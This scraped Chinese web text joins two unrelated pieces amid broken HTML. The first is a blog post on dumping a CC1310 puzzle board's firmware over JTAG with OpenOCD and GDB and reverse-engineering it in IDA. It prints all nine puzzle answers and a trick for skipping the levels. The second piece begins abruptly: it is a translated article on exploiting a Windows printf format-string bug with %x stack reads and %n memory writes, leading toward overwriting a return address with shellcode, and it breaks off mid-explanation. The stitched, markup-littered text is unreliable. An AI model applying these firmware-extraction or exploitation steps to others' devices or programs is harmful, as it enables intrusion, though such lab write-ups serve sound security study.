arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">DIO_17 27 Digital I/O GPIO, JTAG_TDI, high-drive capability<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""> <p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">我们知道要进行jtag调试需要至少4根信号线分别是TMS,TCK,TDI,TDO，(RST可选)最后是GND(接地),
具体JTAG的定义和各个信号线的定义大家可以网上搜索，我就不赘述了，找到这几个信号线接到相应的仿真器上就可以进行调试了。<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px;
color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">从该MCU的电子手册我们得知这四个信号线的Pin脚位置如下。<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"=""> TMS 24<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px;
color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""> TCK 25<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""> TDO
26<p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""> TDI 27<p style="box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51); font-family: " helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""><div style="text-align:
left;">然后我们可以通过万电表量出这几个引脚引出来的位置，刚好这板子已经把这几个信号脚引出来了，也省去我们不少麻烦。</div><div
style="text-align: left;"> <img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/76774d6b1d76d4a0482e93810f0d5374.png>" alt="" width="575"
height="383" style="box-sizing: border-box; vertical-align: middle; max-width:
100%;" /></div><p style="box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51); font-family: " helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""><div style="text-align: left;">好了，焊好线后，需要我们的仿真器出场了，笔者使用的ft2232h mini
module，当然大家也可以选用别的仿真器，像jlink之类的，简单说一下这个mini
module，它是一个多硬件协议(MPSSE)集一身的小模块，比如SPI/JTAG/I2C等，共用GPIO口，非常方便，接下来就是连线了，连接图如下。</div><div
style="text-align: left;"> <img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/edcb9bc34a49236799b0ab82ebdd81eb.png>" alt="" width="609"
height="427" style="box-sizing: border-box; vertical-align: middle; max-width:
100%;" /></div><p style="text-align: left; box-sizing: border-box; margin-top:
20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">右边是mini module CN-2接口Pin脚，左边是CC1310的引脚，GND随便找一个板子接地的地方接上就好了。<p
style="box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51); font-family: " helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><div
style="text-align: left;">下面就是ft2232h mini module</div><div style="text-align:
left;"> <img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/5e1e3a925c14975f6a94c1b5ca1cf890.png>" alt="" width="595" height="434"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">好了，接下来就是激动人心的时刻了。<p style="text-align: left; box-sizing: border-box;
margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"=""> <p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);"
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><span style="box-sizing: border-box;
font-weight: 700;"><span style="font-size:19px;">软件篇：</span></span><p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">硬件连接准备就绪后，我们开始驱动仿真器来进行片上调试。<p style="text-align: left; box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);"
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">调试工具准备如下：<p style="text-align: left;
box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51,
51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">OpenOCD (开源的硬件调试软件)<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Arm-none-eabi-gdb (arm版的gdb)<p style="text-align: left; box-sizing: border-box;
margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"="">在使用openocd之前需要准备好cc1310的调试配置文件cc1310.cfg，在<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><a
href="<http://openocd.zylin.com/gitweb?p=openocd.git;a=blob;f=tcl/target/cc1310.cfg;h=8f86bd4b965a02922ae1abc98f53c8a4c65f9711;hb=27c749394270555698e3f5413082d5c6898d8151%BF%C9%D2%D4%D5%D2%B5%BD>"
style="box-sizing: border-box; background: 0px 0px; color: rgb(66, 139, 202);
text-decoration:
none;"><http://openocd.zylin.com/gitweb?p=openocd.git;a=blob;f=tcl/target/cc1310.cfg;h=8f86bd4b965a02922ae1abc98f53c8a4c65f9711;hb=27c749394270555698e3f5413082d5c6898d8151可以找到></a>。<p
style="box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51); font-family: " helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><div
style="text-align: left;">一切准备妥当，接下来就可以开始见证奇迹的时刻了。</div><div style="text-align: left;"> <img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/1c3c91790a6430e7ffaa265e5bd2c356.png>" alt="" width="623" height="323"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">运行telnet localhost 4444进行命令行来控制操作cpu或者内存空间，在这里我们可把cpu
halt暂停下来，cpu重置，设置断点等操作。<p style="box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51); font-family: " helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"=""><div style="text-align:
left;">在这里我们执行halt命令，cpu就断下来了，效果如下</div><div style="text-align: left;"><img
src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/a5ac1cbaef30c3f27cde7c690d77e98c.png>" alt="" width="630" height="211"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">这个时侯我的gdb就可以远程attach上去进行动态调试与内存空间访问了。<p style="text-align: left;
box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51,
51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">运行arm-none-eabi-gdb，gdb里面执行target remote localhost:3333<p style="box-sizing: border-box;
margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51); font-family: "
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><div style="text-align:
left;">进行远程调试连接，可以内存空间访问与动态调试。</div><div style="text-align: left;"> <img
src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/84311b10b166e362aec5ea7d152c1122.png>" alt="" width="619" height="189"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">好了，我们可以内存空间访问了，先把固件，flash，和内存数据dump出来，静态分析一下吧。<p style="box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);
font-family: " helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"=""><div style="text-align:
left;">如下是cc13xx芯片的内存空间地址映射表，它可以让我们知道dump哪些有用的数据</div><div style="text-align:
left;"><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/b476ea8d2f0afaa77da42a55cd4b4b6d.png>" alt="" width="623" height="263"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">0地址开始到0x10000是我们CC1310F64型号的flash的地址空间<p style="text-align: left;
box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51,
51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,=""
255);"="">BootROM是从0x10000000到0x10020000<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,=""
255);"="">SRAM地址从0x20000000到0x20005000<p style="text-align: left; box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);"
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">好了，我们就dump这三块位置。<p style="text-align:
left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">在gdb里面运行如下命令<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px;
color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">dump
binary memory cc1310_flash.bin 0 0x10000<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">dump binary memory
cc1310_brom.bin 0x10000000 0x10020000<p style="text-align: left; box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);"
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">dump binary memory cc1310_sram.bin
0x20000000 0x20005000<p style="box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51); font-family: " helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"=""><div style="text-align:
left;">好了，合并这三个文件用IDA进行反汇编，不同的段进行地址重定位，可以做到地址精确引用，如下。</div><div style="text-align: left;"><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/125f8ae2b28911b36917985cb08a7413.png>" alt="" width="567" height="147"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="text-align: left; box-sizing: border-box; margin-top: 20px;
margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">好了，接下来就是逆向篇了，如何找到答案和分析其代码逻辑等等。<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">逆向篇：<p style="box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);
font-family: " helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"=""><div style="text-align:
left;">我们通过IDA里面的一些字符串获得一些线索。</div><div style="text-align: left;"><img
src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/1ac4b2533187ae89d512c1a52047fb43.png>" alt="" width="611" height="563"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="box-sizing: border-box; margin-top: 20px; margin-bottom:
20px; color: rgb(51, 51, 51); font-family: " helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""><div style="text-align: left;">然后我们很快找到每一道题的答案了</div><div
style="text-align: left;"><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/5b542a9b32ea69d6b44f9323d9451762.png>" alt="" width="622"
height="822" style="box-sizing: border-box; vertical-align: middle; max-width:
100%;" /></div><p style="text-align: left; box-sizing: border-box; margin-top:
20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">解释一下这里面的一些逻辑。<p style="text-align: left; box-sizing: border-box;
margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"="">这里面每一道题的提示和答案，还有用户自定义ID存储在flash
0xe000开始的区域里面，总共长度0xe2个字节，运行时会把这块区域数据读到SRAM里面，在SRAM里面进行操作，然后把SRAM结果写回到0xe000这块区域里，以保证下次设备重启数据和进度不会丢失，其结构如下。<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""> <p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""> <p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">0xe000 ---0xe010 存储用户设置的ID<p style="text-align: left; box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);"
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">0xe014 --- 0xe015
存储用户过了多少关了（直接改成9就通关了：），修改SRAM里面相应的存储的数据，然后通过ID设置来触发写回到0xe014，这样就生效了）<p
style="box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51); font-family: " helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><div
style="text-align: left;">如下是不同关卡的提示和答案</div><div style="text-align:
left;"><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/fb57ec19a454a0d8eb344902e4c849d3.png>" alt="" width="316" height="790"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/e00fb9680944815fbdbe15ee78c53a87.png>" alt="" width="318" height="594"
style="box-sizing: border-box; vertical-align: middle; max-width: 100%;"
/></div><p style="box-sizing: border-box; margin-top: 20px; margin-bottom:
20px; color: rgb(51, 51, 51); font-family: " helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""><div style="text-align: left;">比较每一个关卡的用户输入答案，并进行更新</div><div
style="text-align: left;"><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/4a576eaee402c969111bad29c57feade.png>" alt="" width="625"
height="403" style="box-sizing: border-box; vertical-align: middle; max-width:
100%;" /></div><p style="text-align: left; box-sizing: border-box; margin-top:
20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">0x20001060存储着flash地址0xe000里面的数据<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,=""
255);"="">偏移0x14就是用户当前所在关卡数，如果答案比较相等，这个关卡数加1并写回到flash里面，并在屏幕上显示『right!』。<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">总共9道题的答案分别是<p style="text-align: left; box-sizing: border-box;
margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"="">UR1NMYW0RLD!<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">42<p style="text-align:
left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">ORDREDUTEMPLE<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">FQJPVDPOK<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"="">VYTX<p style="text-align: left; box-sizing:
border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);"
helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",=""
"microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">LOYAL<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51,
51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino="" sans=""
gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">GNILCS<p style="text-align:
left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color:
rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,="" "hiragino=""
sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;=""
background-color:="" rgb(255,="" 255,="" 255);"="">FIBONACHI<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px;
color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,="" arial,=""
"hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,="" 255);"="">WORLD<p
style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",="" helvetica,=""
arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",="" sans-serif;=""
font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"="">通关最后的结果如下<p style="text-align: left; box-sizing: border-box; margin-top: 20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica=""
neue",="" helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft=""
yahei",="" sans-serif;="" font-size:="" 16px;="" background-color:=""
rgb(255,="" 255,="" 255);"=""><img src="<http://ata2-img.cn-hangzhou.img-pub.aliyun-inc.com/084ab3f65b238deedf81d78630d4252f.png>" alt="" width="649"
height="470" style="box-sizing: border-box; vertical-align: middle; max-width:
100%;" /> <p style="text-align: left; box-sizing: border-box; margin-top:
20px; margin-bottom: 20px; color: rgb(51, 51, 51);" helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""> <p style="box-sizing: border-box; margin-top: 20px; margin-bottom:
20px; color: rgb(51, 51, 51); font-family: " helvetica="" neue",=""
helvetica,="" arial,="" "hiragino="" sans="" gb",="" "microsoft="" yahei",=""
sans-serif;="" font-size:="" 16px;="" background-color:="" rgb(255,="" 255,=""
255);"=""><div style="text-align:
left;">如果你只想知道答案，看到这里就可以了，接下来会讲讲里面的一些其它功能。</div><br /><br /> | 社区文章 |
原文地址:[Exploiting Format Strings in
Windows](http://https://osandamalith.com/2018/02/01/exploiting-format-strings-in-windows/ "Exploiting Format Strings in Windows")
我想在Windows下利用格式字符串时做出一个小挑战。表面上,它要求打开一个文件。起初这可能有点混乱。在读取文件时并不会受到攻击,你可以看到我们对该程序设置的第一个参数在程序中回显了。
让我们在调试器内部进行研究。正如你所看到的，如果argc == 2，应用程序将继续执行,并且argv [1]会被传递到突出显示的那个函数中去。
在这个函数中,memset的功能是与和0一起使用来填充内存,strncpy用来复制用户咋缓冲区内的输入。但您是否注意到eax是由printf函数直接调用的，并没有指定任何格式字符串参数。函数printf将直接调用我们的缓冲区。
让我们试试用%X格式字符串来读取堆栈，该字符串以十六进制的格式来显示文本。可以看出printf函数读取堆栈内存时,是从高到低读取的。
我将给出80个字符和一串％x格式字符串,并查看其输出。
你可看到41表示十六进制A,2558表示%X。
我们可以使用％n来显示当前写入字符串的字符数，直到替换%n的偏移值为止。我们要传递的是变量的地址。基本上，这将写入一个内存位置。例如，
> int main() {
>
> int number;
>
> printf("Hello %nWorld", &number);
>
> printf("%d", number);
>
> }
这将显示值6。
那么。让我们尝试在输入中放置％n，看看会发生什么呢?
可以看到,当我们试图写入地址时程序崩溃了。那调试器中发生了什么呢?
这就是使得程序崩溃的地方,ECX的值被移入EAX指向的地址。
让我们来检查寄存器。EAX包含78257825，它是指“x％x％”，并且ECX包含了f8。
检查一下堆栈,进行分析时,可以看到我们注入堆栈中的字符。这给我们了一个很好的提示:使用shellcode而不是'A'字符。
在函数结尾处,一旦点击RET，EIP将指向堆栈中前一个函数返回的地址。
如果我们检查调用堆栈,则可以看到指向0019f72c的第一个帧指针。
返回地址是0019f730，它指向前一个函数的00401188。不知您是否注意到0019f730地址前面有空字节。但是，如果我们将这个地址以地位优先的格式写在payload末尾，就不会有影响。
